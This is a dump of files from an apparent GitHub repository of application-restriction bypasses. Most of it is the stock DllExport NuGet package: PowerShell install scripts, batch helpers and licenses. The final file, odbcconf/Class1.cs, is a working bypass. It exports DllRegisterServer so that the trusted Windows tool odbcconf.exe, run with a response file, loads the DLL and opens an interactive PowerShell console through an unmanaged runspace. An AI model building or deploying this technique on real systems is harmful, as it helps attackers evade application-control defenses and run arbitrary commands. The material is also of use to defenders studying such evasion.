https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/msiexec/packages/DllExport.1.5.2/lib/net20/DllExport.dll.raw -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/DllExportCmdLets.psm1: -------------------------------------------------------------------------------- 1 | function Remove-OldDllExportFolder { 2 | param($project) 3 | $defaultFiles = ('DllExportAttribute.cs', 4 | 'Mono.Cecil.dll', 5 | 'RGiesecke.DllExport.dll', 6 | 'RGiesecke.DllExport.pdb', 7 | 'RGiesecke.DllExport.MSBuild.dll', 8 | 'RGiesecke.DllExport.MSBuild.pdb', 9 | 'net.r_eg.DllExport.targets') 10 | 11 | $projectFile = New-Object 'System.IO.FileInfo'($project.FullName) 12 | 13 | $projectFile.Directory.GetDirectories("DllExport") | Select-Object -First 1 | % { 14 | $dllExportDir = $_ 15 | 16 | if($dllExportDir.GetDirectories().Count -eq 0){ 17 | $unknownFiles = $dllExportDir.GetFiles() | Select -ExpandProperty Name | ? { -not $defaultFiles -contains $_ } 18 | 19 | if(-not $unknownFiles){ 20 | Write-Host "Removing 'DllExport' from " $project.Name 21 | $project.ProjectItems | ? { $_.Name -ieq 'DllExport' } | % { 22 | $_.Remove() 23 | } 24 | 25 | Write-Host "Deleting " $dllExportDir.FullName " ..." 26 | $dllExportDir.Delete($true) 27 | } 28 | } 29 | } 30 | } 31 | 32 | function Remove-OldDllExportFolders { 33 | Get-Project -all | % { 34 | Remove-OldDllExportFolder $_ 35 | } 36 | } 37 | 38 | function Get-MBEGlobalProjectCollection { 39 | $msBuildV4Name = 'Microsoft.Build, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'; 40 | $msBuildV4 = [System.Reflection.Assembly]::LoadWithPartialName($msBuildV4Name) 41 | 42 | if(!$msBuildV4) { 43 | throw New-Object 'System.IO.FileNotFoundException'("Could not load $msBuildV4Name.") 44 | } 45 | 46 | $projectCollection = $msBuildV4.GetType('Microsoft.Build.Evaluation.ProjectCollection') 47 | 48 | return $projectCollection::GlobalProjectCollection 49 | } 50 | 51 | function Get-DllExportMsBuildProjectsByFullName([String] $fullName) { 52 | $gpc = Get-MBEGlobalProjectCollection 53 | 54 | return $gpc.GetLoadedProjects($fullName) 55 | } 56 | 57 | function Get-TempPathToDllTools([String] $toolsPath) { 58 | 59 | $tempRoot = (Join-Path $([System.IO.Path]::GetTempPath()) '50ACAD2A-5AB3-4E6A-BA66-07F55672E91F') -replace ' ', '` ' 60 | $tempFolder = $([System.Guid]::NewGuid()); 61 | $delprefix = '__del__'; 62 | 63 | # rename for checking of lock / loaded assemblies 64 | Get-ChildItem -Recurse -Path $tempRoot | ?{ $_.PSIsContainer } | %{ 65 | Rename-Item -ErrorAction SilentlyContinue -Path $_.FullName -NewName "$delprefix$($_.Name)" 66 | } 67 | 68 | # now try to delete only this 69 | Get-ChildItem -Recurse -Path $tempRoot | ?{ $_.PSIsContainer -and $_.Name.StartsWith($delprefix) } | %{ 70 | Remove-Item $_.FullName -Force -Recurse -ErrorAction SilentlyContinue 71 | } 72 | 73 | $tdll = (Join-Path $tempRoot $tempFolder); 74 | if(!(Test-Path -path $tdll)) { 75 | New-Item $tdll -Type Directory >$null 76 | } 77 | Copy-Item $toolsPath\*.dll -Destination $tdll >$null 78 | 79 | return $tdll 80 | } 81 | 82 | function Get-TempPathToConfiguratorIfNotLoaded([String] $asmFile, [String] $toolsPath) { 83 | 84 | $tdll = Get-TempPathToDllTools $toolsPath 85 | $mdll = (Join-Path $tdll $asmFile) 86 | 87 | if(!(Get-Module -Name $asmFile)) { 88 | # Import-Module $mdll; 89 | return $mdll 90 | } 91 | return $null 92 | } 93 | 94 | # solution from here: https://github.com/3F/vsSolutionBuildEvent/blob/master/vsSolutionBuildEvent/Actions/ActionCSharp.cs 95 | # we can use it from 'init.ps1' for loading only once, or from 'install.ps1' / 'uninstall.ps1' to use always latest assemblies 96 | function Load-Configurator([String] $toolsPath) { 97 | 98 | Get-Module -All | ?{ $_.Name -like '*net.r_eg.DllExport.Configurator*' } | % { Remove-Module $_ } 99 | 100 | $nsbin = [System.Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes("$toolsPath\NSBin.dll")); 101 | $conf = [System.Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes("$toolsPath\net.r_eg.DllExport.Configurator.dll")); 102 | 103 | return $conf; 104 | } 105 | 106 | function Get-AllDllExportMsBuildProjects { 107 | (Get-Project -all | % { 108 | Get-DllExportMsBuildProjectsByFullName $_.FullName 109 | }) | ? { 110 | return ($_.Xml.Imports | ? { 111 | "net.r_eg.DllExport.targets" -ieq [System.IO.Path]::GetFileName($_.Project); 112 | }).Length -gt 0; 113 | } 114 | } 115 | 116 | function Set-NoDllExportsForAnyCpu([String] $projectName, [System.Nullable[bool]] $value) { 117 | $projects = Get-AllDllExportMsBuildProjects; 118 | 119 | [String] $asString = $value; 120 | 121 | if($projectName) { 122 | $projects = $projects | where { $_.Name -ieq $projectName }; 123 | } 124 | $propertyName = 'NoDllExportsForAnyCpu'; 125 | 126 | $projects = $projects | where { 127 | $_.GetPropertyValue($propertyName) -ine $asString 128 | } | % { 129 | $_.SetProperty($propertyName, $asString); 130 | } 131 | } 132 | 133 | Export-ModuleMember Set-NoDllExportsForAnyCpu 134 | Export-ModuleMember Get-MBEGlobalProjectCollection 135 | Export-ModuleMember Get-TempPathToDllTools 136 | Export-ModuleMember Get-TempPathToConfiguratorIfNotLoaded 137 | Export-ModuleMember Load-Configurator 138 | Export-ModuleMember Remove-OldDllExportFolder 139 | Export-ModuleMember Remove-OldDllExportFolders 140 | Export-ModuleMember Get-DllExportMsBuildProjectsByFullName 141 | Export-ModuleMember Get-AllDllExportMsBuildProjects -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/Microsoft.Build.Framework.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/Microsoft.Build.Framework.dll -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/Microsoft.Build.Utilities.v4.0.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/Microsoft.Build.Utilities.v4.0.dll -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/Microsoft.Management.Infrastructure.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/Microsoft.Management.Infrastructure.dll -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/Mono.Cecil.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/Mono.Cecil.dll -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/NSBin.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/NSBin.dll -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/NSBin.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/NSBin.pdb -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/RGiesecke.DllExport.MSBuild.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/RGiesecke.DllExport.MSBuild.dll -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/RGiesecke.DllExport.MSBuild.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/RGiesecke.DllExport.MSBuild.pdb -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/RGiesecke.DllExport.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/RGiesecke.DllExport.dll -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/RGiesecke.DllExport.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/RGiesecke.DllExport.pdb -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/System.Management.Automation.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/System.Management.Automation.dll -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/coreclr/LICENSE.TXT: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) .NET Foundation and Contributors 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/coreclr/PATENTS.TXT: -------------------------------------------------------------------------------- 1 | Microsoft Patent Promise for .NET Libraries and Runtime Components 2 | 3 | Microsoft Corporation and its affiliates ("Microsoft") promise not to assert 4 | any .NET Patents against you for making, using, selling, offering for sale, 5 | importing, or distributing Covered Code, as part of either a .NET Runtime or 6 | as part of any application designed to run on a .NET Runtime. 7 | 8 | If you file, maintain, or voluntarily participate in any claim in a lawsuit 9 | alleging direct or contributory patent infringement by any Covered Code, or 10 | inducement of patent infringement by any Covered Code, then your rights under 11 | this promise will automatically terminate. 12 | 13 | This promise is not an assurance that (i) any .NET Patents are valid or 14 | enforceable, or (ii) Covered Code does not infringe patents or other 15 | intellectual property rights of any third party. No rights except those 16 | expressly stated in this promise are granted, waived, or received by 17 | Microsoft, whether by implication, exhaustion, estoppel, or otherwise. 18 | This is a personal promise directly from Microsoft to you, and you agree as a 19 | condition of benefiting from it that no Microsoft rights are received from 20 | suppliers, distributors, or otherwise from any other person in connection with 21 | this promise. 22 | 23 | Definitions: 24 | 25 | "Covered Code" means those Microsoft .NET libraries and runtime components as 26 | made available by Microsoft at https://github.com/dotnet/coreclr, 27 | https://github.com/dotnet/corefx and https://github.com/dotnet/corert. 28 | 29 | ".NET Patents" are those patent claims, both currently owned by Microsoft and 30 | acquired in the future, that are necessarily infringed by Covered Code. .NET 31 | Patents do not include any patent claims that are infringed by any Enabling 32 | Technology, that are infringed only as a consequence of modification of 33 | Covered Code, or that are infringed only by the combination of Covered Code 34 | with third party code. 35 | 36 | ".NET Runtime" means any compliant implementation in software of (a) all of 37 | the required parts of the mandatory provisions of Standard ECMA-335 – Common 38 | Language Infrastructure (CLI); and (b) if implemented, any additional 39 | functionality in Microsoft's .NET Framework, as described in Microsoft's API 40 | documentation on its MSDN website. For example, .NET Runtimes include 41 | Microsoft's .NET Framework and those portions of the Mono Project compliant 42 | with (a) and (b). 43 | 44 | "Enabling Technology" means underlying or enabling technology that may be 45 | used, combined, or distributed in connection with Microsoft's .NET Framework 46 | or other .NET Runtimes, such as hardware, operating systems, and applications 47 | that run on .NET Framework or other .NET Runtimes. -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/coreclr/README.md: -------------------------------------------------------------------------------- 1 | [.NET Core Runtime (CoreCLR)](https://github.com/3F/coreclr) 2 | =========================== 3 | 4 | This repo contains the .NET Core runtime, called CoreCLR, and the base library, called mscorlib. It includes the garbage collector, JIT compiler, base .NET data types and many low-level classes. 5 | 6 | Build Status 7 | ------------ 8 | 9 | | CI 10 | --------------------| ---------------- 11 | Win.x86-x64.Release | [![Build status](https://ci.appveyor.com/api/projects/status/4gwh8k5wn62tk8iv/branch/master?svg=true)](https://ci.appveyor.com/project/3Fs/coreclr/branch/master) 12 | 13 | 14 | License 15 | ------- 16 | 17 | .NET Core (including the coreclr repo) is licensed under the [MIT license](LICENSE.TXT). 18 | 19 | -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/coreclr/_Version.txt: -------------------------------------------------------------------------------- 1 | 2 | Architecture | Platform | Config | commit-sha1 | ILD/Asm | coreclr | Path 3 | -------------|----------|---------|------------------------------------------|---------------------------|---------|------------- 4 | x86 | Windows | Release | 05afa4f81fdf671429b54467c64d65cde6b5fadc | [ 4.5.1 ] -> *4.5.22220.0 | *v1.0.4 | \bin\Win.x86\ 5 | x64 | Windows | Release | 05afa4f81fdf671429b54467c64d65cde6b5fadc | [ 4.5.1 ] -> *4.5.22220.0 | *v1.0.4 | \bin\Win.x64\ 6 | 7 | `* - The base of version, i.e. it can be different from official release` 8 | 9 | https://github.com/3F/coreclr 10 | 11 | -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/coreclr/changelog.txt: -------------------------------------------------------------------------------- 1 | https://github.com/3F/coreclr 2 | - - - - - - - - - - - - - - - - 3 | 4 | # coreclr \ ILAsm 5 | 6 | [v4.5.1] 7 | 8 | * FIXED: Fixed using of cvtres (.res -> obj COFF-format) in mscorpe. 9 | Possible crash: https://github.com/3F/coreclr/issues/2 10 | Related Issue: https://github.com/3F/DllExport/issues/17 11 | 12 | * NEW: Implemented additional searching of the converters of resources: 13 | Environment PATH, local directory, and other additional from user path. 14 | Now it also can be wrapped like ` mytool.cmd -> cvtres.exe %* ` etc. 15 | 16 | * NEW: Added new /CVRES (/CVR) key to ilasm.exe 17 | `/CVRES= Set path to cvtres tool: /CVR=cvtres.exe /CVR=tool\cvtres.cmd /CVR=D:\tool\` 18 | 19 | * NOTE: based on 4.5.22220.0 / coreclr 1.0.4 20 | ^ ^ ^ ^ 21 | | | | |-- VER_FILEVERSIONREVISION 22 | | | |------- VER_FILEVERSIONBUILD 23 | | |---------- VER_FILEVERSIONMINOR 24 | |------------ VER_MAJORVERSION 25 | 26 | 27 | -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/coreclr/coreclr.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/coreclr/coreclr.dll -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/coreclr/ilasm.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/coreclr/ilasm.exe -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/coreclr/ildasm.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/coreclr/ildasm.exe -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/coreclr/ildasmrc.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/coreclr/ildasmrc.dll -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/coreclr/mscordaccore.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/coreclr/mscordaccore.dll -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/coreclr/mscordbi.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/coreclr/mscordbi.dll -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/init.ps1: -------------------------------------------------------------------------------- 1 | param($installPath, $toolsPath, $package, $project) 2 | 3 | # init.ps1 - once for serial install/remove 4 | 5 | Import-Module (Join-Path $toolsPath DllExportCmdLets.psm1) 6 | 7 | # TODO: required for 'Load-Configurator' 8 | $cecil = [System.Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes("$toolsPath\Mono.Cecil.dll")); -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/install.ps1: -------------------------------------------------------------------------------- 1 | param($installPath, $toolsPath, $package, $project) 2 | 3 | $targetFileName = 'net.r_eg.DllExport.targets' 4 | $assemblyFName = 'DllExport' # $package.AssemblyReferences[0].Name 5 | $publicKeyToken = '8337224C9AD9E356'; 6 | $metaLib = $([System.IO.Path]::Combine("$installPath", 'lib\net20', $assemblyFName + '.dll')); 7 | $targetFileName = [IO.Path]::Combine($toolsPath, $targetFileName) 8 | $targetUri = New-Object Uri -ArgumentList $targetFileName, [UriKind]::Absolute 9 | $gpc = Get-MBEGlobalProjectCollection 10 | $projects = $gpc.GetLoadedProjects($project.FullName) 11 | 12 | # GUI Configurator 13 | 14 | # powershell -Command "Import-Module (Join-Path $escToolsPath Configurator.dll); Set-Configuration -Dll $asmpath" 15 | 16 | # $dllConf = Get-TempPathToConfiguratorIfNotLoaded 'net.r_eg.DllExport.Configurator.dll' "$toolsPath" 17 | # if($dllConf) { 18 | # Import-Module $dllConf; 19 | # } 20 | 21 | Import-Module (Load-Configurator "$toolsPath") 22 | Set-Configuration -MetaLib "$metaLib" -InstallPath "$installPath" -ToolsPath "$toolsPath" -ProjectDTE $project -ProjectsMBE $gpc; 23 | 24 | 25 | # change the reference to DllExport.dll to not be copied locally 26 | 27 | $project.Object.References | ? { 28 | $_.Name -ieq $assemblyFName -And $_.PublicKeyToken -ieq $publicKeyToken 29 | } | % { 30 | if($_ | Get-Member | ? {$_.Name -eq "CopyLocal"}){ 31 | $_.CopyLocal = $false 32 | } 33 | } 34 | 35 | $projects | % { 36 | $currentProject = $_ 37 | 38 | # remove imports of net.r_eg.DllExport.targets from this project 39 | $currentProject.Xml.Imports | ? { 40 | return ($targetFileName -ieq [IO.Path]::GetFileName($_.Project)) 41 | } | % { 42 | $currentProject.Xml.RemoveChild($_); 43 | } 44 | 45 | # remove the properties DllExportAttributeFullName and DllExportAttributeAssemblyName 46 | $currentProject.Xml.Properties | ? { 47 | $_.Name -eq "DllExportAttributeFullName" -or $_.Name -eq "DllExportAttributeAssemblyName" 48 | } | % { 49 | $_.Parent.RemoveChild($_) 50 | } 51 | 52 | $projectUri = New-Object Uri -ArgumentList $currentProject.FullPath, [UriKind]::Absolute 53 | $relativeUrl = $projectUri.MakeRelative($targetUri) 54 | $import = $currentProject.Xml.AddImport($relativeUrl) 55 | $import.Condition = "Exists('$relativeUrl')"; 56 | 57 | # remove the old stuff in the DllExports folder from previous versions, (will check that only known files are in it) 58 | Remove-OldDllExportFolder $project 59 | } -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/msbuild.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | setlocal enableDelayedExpansion 3 | 4 | :: The MSBuild-helper. Part of GetNuTool 5 | :: https://github.com/3F/GetNuTool 6 | 7 | :: arguments: 8 | :: 9 | :: msbuild -notamd64 - to select x86 instance instead of x64 if it's possible. 10 | :: msbuild - to select any available instance. 11 | :: 12 | 13 | set args=%* 14 | set notamd64=0 15 | 16 | set a=%args:~0,30% 17 | set a=%a:"=% 18 | 19 | if "%a:~0,9%"=="-notamd64" ( 20 | call :popa %1 21 | shift 22 | set notamd64=1 23 | ) 24 | 25 | for %%v in (14.0, 12.0, 15.0, 4.0, 3.5, 2.0) do ( 26 | for /F "usebackq tokens=2* skip=2" %%a in ( 27 | `reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSBuild\ToolsVersions\%%v" /v MSBuildToolsPath 2^> nul` 28 | ) do if exist %%b ( 29 | 30 | if NOT "%notamd64%" == "1" ( 31 | set msbuild=%%b\msbuild.exe 32 | goto found 33 | ) 34 | 35 | :: 7z & amd64\msbuild - https://github.com/3F/vsSolutionBuildEvent/issues/38 36 | set _amd=..\msbuild.exe 37 | if exist "%%b/!_amd!" ( 38 | set msbuild=%%b\!_amd! 39 | ) else ( 40 | set msbuild=%%b\msbuild.exe 41 | ) 42 | goto found 43 | ) 44 | ) 45 | 46 | echo MSBuild was not found, try: ` "full_path_to_msbuild.exe" arguments ` 1>&2 47 | goto exit 48 | 49 | 50 | :found 51 | 52 | set msbuild="%msbuild%" 53 | 54 | echo MSBuild Tools: %msbuild% 55 | 56 | %msbuild% %args% 57 | 58 | :popa 59 | call set args=%%args:%1^=%% 60 | exit /B 0 61 | 62 | :exit 63 | exit /B 0 -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/net.r_eg.DllExport.Configurator.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/net.r_eg.DllExport.Configurator.dll -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/net.r_eg.DllExport.Configurator.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/net.r_eg.DllExport.Configurator.pdb -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/net.r_eg.DllExport.targets: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | $(MSBuildThisFileDirectory)..\ 6 | lib\net20\ 7 | tools\ 8 | 9 | System.Runtime.InteropServices 10 | $(DllExportRootPkg)$(DllExportLibPath) 11 | DllExportAttribute 12 | DllExport.dll 13 | $(DllExportLibFullPath)$(DllExportMetaLibName) 14 | true 15 | true 16 | $(DllExportRootPkg)$(DllExportToolsPath)coreclr\ 17 | 18 | 19 | 20 | 21 | $(Platform) 22 | $(PlatformTarget) 23 | $(CpuType) 24 | $(DebugSymbols) 25 | false 26 | $(DllExportTimeout) 27 | $(KeyContainerName)$(AssemblyKeyContainerName) 28 | $(KeyOriginatorFile) 29 | $(MSBuildProjectDirectory) 30 | $(TargetPath) 31 | $(TargetedFrameworkDir);$(TargetFrameworkDirectory) 32 | $(DevEnvDir)\..\..\VC\bin 33 | $(DevEnvDir) 34 | $(TargetFrameworkVersion) 35 | $(TargetFrameworkSDKToolsDirectory) 36 | $(NoDllExportsForAnyCpu) 37 | 1 38 | false 39 | 40 | 41 | 42 | 65 | 66 | 67 | 68 | 69 | 70 | 73 | 74 | 75 | -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/nsbin.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | 3 | set dll=%1 4 | set namespace=%2 5 | set useCecil=%3 6 | 7 | powershell -NonInteractive -NoProfile -NoLogo -Command "& Import-Module \"%~dp0/NSBin.dll\"; Set-DDNS -Dll \"%dll%\" -Namespace \"%namespace%\" -UseCecil $%useCecil% " -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/powershell.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | 3 | for %%v in (3, 1, 2, 5, 4) do ( 4 | for /F "usebackq tokens=2* skip=2" %%a in ( 5 | `reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\%%v\PowerShellEngine" /v ApplicationBase 2^> nul` 6 | ) do if exist %%b ( 7 | set powershell="%%b\powershell.exe" 8 | goto found 9 | ) 10 | ) 11 | 12 | echo PowerShell was not found. Trying call 'as is' 13 | powershell %* 14 | 15 | goto exit 16 | 17 | :found 18 | 19 | echo PowerShell path: %powershell% 20 | 21 | %powershell% %* 22 | 23 | 24 | :exit -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/tools/uninstall.ps1: -------------------------------------------------------------------------------- 1 | param($installPath, $toolsPath, $package, $project) 2 | 3 | $assemblyFName = 'DllExport' 4 | $targetFileName = 'net.r_eg.DllExport.targets' 5 | $metaLib = $([System.IO.Path]::Combine("$installPath", 'lib\net20', $assemblyFName + '.dll')); 6 | $gpc = Get-MBEGlobalProjectCollection 7 | $projects = $gpc.GetLoadedProjects($project.FullName) 8 | 9 | # Configurator 10 | 11 | # $dllConf = Get-TempPathToConfiguratorIfNotLoaded 'net.r_eg.DllExport.Configurator.dll' "$toolsPath" 12 | # if($dllConf) { 13 | # Import-Module $dllConf; 14 | # } 15 | 16 | Import-Module (Load-Configurator "$toolsPath") 17 | Reset-Configuration -MetaLib "$metaLib" -InstallPath "$installPath" -ToolsPath "$toolsPath" -ProjectDTE $project -ProjectsMBE $gpc; 18 | 19 | # 20 | 21 | return $projects | % { 22 | $currentProject = $_ 23 | 24 | $currentProject.Xml.Imports | ? { 25 | $targetFileName -ieq [System.IO.Path]::GetFileName($_.Project) 26 | } | % { 27 | $currentProject.Xml.RemoveChild($_) 28 | } 29 | } -------------------------------------------------------------------------------- /Src/Net4.0/odbcconf/Class1.cs: -------------------------------------------------------------------------------- 1 | //odbcconf.exe /F file.rsp 2 | 3 | using System; 4 | using System.Runtime.InteropServices; 5 | using System.Collections.ObjectModel; 6 | using System.Management.Automation; 7 | using System.Management.Automation.Runspaces; 8 | using System.Text; 9 | using odbc; 10 | 11 | public class Test 12 | { 13 | 14 | [DllExport("DllRegisterServer", CallingConvention = CallingConvention.StdCall)] 15 | public static bool DllRegisterServer() 16 | { 17 | while (true) 18 | { 19 | AllocConsole(); 20 | IntPtr defaultStdout = new IntPtr(7); 21 | IntPtr currentStdout = GetStdHandle(StdOutputHandle); 22 | Console.Write("PS >"); 23 | string x = Console.ReadLine(); 24 | try 25 | { 26 | Console.WriteLine(RunPSCommand(x)); 27 | } 28 | catch (Exception e) 29 | { 30 | Console.WriteLine(e.Message); 31 | } 32 | } 33 | return true; 34 | } 35 | //Based on Jared Atkinson's And Justin Warner's Work 36 | public static string RunPSCommand(string cmd) 37 | { 38 | //Init stuff 39 | Runspace runspace = RunspaceFactory.CreateRunspace(); 40 | runspace.Open(); 41 | RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); 42 | Pipeline pipeline = runspace.CreatePipeline(); 43 | 44 | //Add commands 45 | pipeline.Commands.AddScript(cmd); 46 | 47 | //Prep PS for string output and invoke 48 | pipeline.Commands.Add("Out-String"); 49 | Collection results = pipeline.Invoke(); 50 | runspace.Close(); 51 | 52 | //Convert records to strings 53 | StringBuilder stringBuilder = new StringBuilder(); 54 | foreach (PSObject obj in results) 55 | { 56 | stringBuilder.Append(obj.ToString().TrimEnd('\r', '\n')); 57 | } 58 | return stringBuilder.ToString().Trim(); 59 | } 60 | 61 | public static void RunPSFile(string script) 62 | { 63 | PowerShell ps = PowerShell.Create(); 64 | ps.AddScript(script).Invoke(); 65 | } 66 | 67 | private const UInt32 StdOutputHandle = 0xFFFFFFF5; 68 | [DllImport("kernel32.dll")] 69 | private static extern IntPtr GetStdHandle(UInt32 nStdHandle); 70 | [DllImport("kernel32.dll")] 71 | private static extern void SetStdHandle(UInt32 nStdHandle, IntPtr handle); 72 | [DllImport("kernel32")] 73 | static extern bool AllocConsole(); 74 | 75 | } -------------------------------------------------------------------------------- 